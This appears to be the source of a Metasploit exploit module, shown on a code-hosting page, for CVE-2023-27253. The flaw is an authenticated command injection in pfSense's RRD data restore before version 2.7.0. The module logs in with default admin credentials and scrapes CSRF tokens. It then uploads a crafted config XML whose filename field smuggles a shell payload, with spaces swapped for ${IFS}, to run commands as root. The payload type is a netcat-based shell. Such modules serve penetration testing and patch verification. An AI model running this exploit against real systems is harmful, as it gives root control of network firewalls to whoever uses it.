Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/pfsense_config_data_exec.rb
Views: 11784
class MetasploitModule < Msf::Exploit::Remote1Rank = ExcellentRanking23include Msf::Exploit::Remote::HttpClient4include Msf::Exploit::CmdStager5include Msf::Exploit::FileDropper6prepend Msf::Exploit::Remote::AutoCheck78def initialize(info = {})9super(10update_info(11info,12'Name' => 'pfSense Restore RRD Data Command Injection',13'Description' => %q{14This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of15pfSense prior to version 2.7.0 which allows an authenticated attacker with the "WebCfg - Diagnostics: Backup & Restore"16privilege to execute arbitrary operating system commands as the "root" user.1718This module has been tested successfully on version 2.6.0-RELEASE.19},20'License' => MSF_LICENSE,21'Author' => [22'Emir Polat', # vulnerability discovery & metasploit module23],24'References' => [25['CVE', '2023-27253'],26['URL', 'https://redmine.pfsense.org/issues/13935'],27['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']28],29'DisclosureDate' => '2023-03-18',30'Platform' => ['unix'],31'Arch' => [ ARCH_CMD ],32'Privileged' => true,33'Targets' => [34[ 'Automatic Target', {}]35],36'Payload' => {37'BadChars' => "\x2F\x27",38'Compat' =>39{40'PayloadType' => 'cmd',41'RequiredCmd' => 'generic netcat'42}43},44'DefaultOptions' => {45'RPORT' => 443,46'SSL' => true47},48'DefaultTarget' => 0,49'Notes' => {50'Stability' => [CRASH_SAFE],51'Reliability' => [REPEATABLE_SESSION],52'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]53}54)55)5657register_options [58OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),59OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])60]61end6263def check64unless login65return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")66end6768res = send_request_cgi(69'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),70'method' => 'GET',71'keep_cookies' => true72)7374return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?75return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 2007677unless res&.body&.include?('Diagnostics: ')78return Exploit::CheckCode::Safe('Vulnerable module not reachable')79end8081version = detect_version82unless version83return Exploit::CheckCode::Detected('Unable to get the pfSense version')84end8586unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')87return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")88end8990Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")91end9293def login94# Skip the login process if we are already logged in.95return true if @logged_in9697csrf = get_csrf('index.php', 'GET')98unless csrf99print_error('Could not get the expected CSRF token for index.php when attempting login!')100return false101end102103res = send_request_cgi(104'uri' => normalize_uri(target_uri.path, 'index.php'),105'method' => 'POST',106'vars_post' => {107'__csrf_magic' => csrf,108'usernamefld' => datastore['USERNAME'],109'passwordfld' => datastore['PASSWORD'],110'login' => ''111},112'keep_cookies' => true113)114115if res && res.code == 302116@logged_in = true117true118else119false120end121end122123def detect_version124res = send_request_cgi(125'uri' => normalize_uri(target_uri.path, 'index.php'),126'method' => 'GET',127'keep_cookies' => true128)129130# If the response isn't a 200 ok response or is an empty response, just return nil.131unless res && res.code == 200 && res.body132return nil133end134135if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?136nil137else138version139end140end141142def get_csrf(uri, methods)143res = send_request_cgi(144'uri' => normalize_uri(target_uri.path, uri),145'method' => methods,146'keep_cookies' => true147)148149unless res && res.body150return nil # If no response was returned or an empty response was returned, then return nil.151end152153# Try regex match the response body and save the match into a variable named csrf.154if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?155return nil # No match could be found, so the variable csrf won't be defined.156else157return csrf158end159end160161def drop_config162csrf = get_csrf('diag_backup.php', 'GET')163unless csrf164fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')165end166167post_data = Rex::MIME::Message.new168169post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')170post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')171post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')172post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')173post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')174post_data.add_part('', nil, nil, 'form-data; name="restorearea"')175post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')176post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')177178res = send_request_cgi(179'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),180'method' => 'POST',181'ctype' => "multipart/form-data; boundary=#{post_data.bound}",182'data' => post_data.to_s,183'keep_cookies' => true184)185186if res && res.code == 200 && res.body =~ /<rrddatafile>/187return res.body188else189return nil190end191end192193def exploit194unless login195fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')196end197198csrf = get_csrf('diag_backup.php', 'GET')199unless csrf200fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')201end202203config_data = drop_config204if config_data.nil?205fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')206end207208if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?209fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')210end211config_data.gsub!(' ', '${IFS}')212send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")213214post_data = Rex::MIME::Message.new215216post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')217post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')218post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')219post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')220post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')221post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')222post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')223post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")224post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')225post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')226227res = send_request_cgi(228'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),229'method' => 'POST',230'ctype' => "multipart/form-data; boundary=#{post_data.bound}",231'data' => post_data.to_s,232'keep_cookies' => true233)234235if res236print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")237end238end239end240241242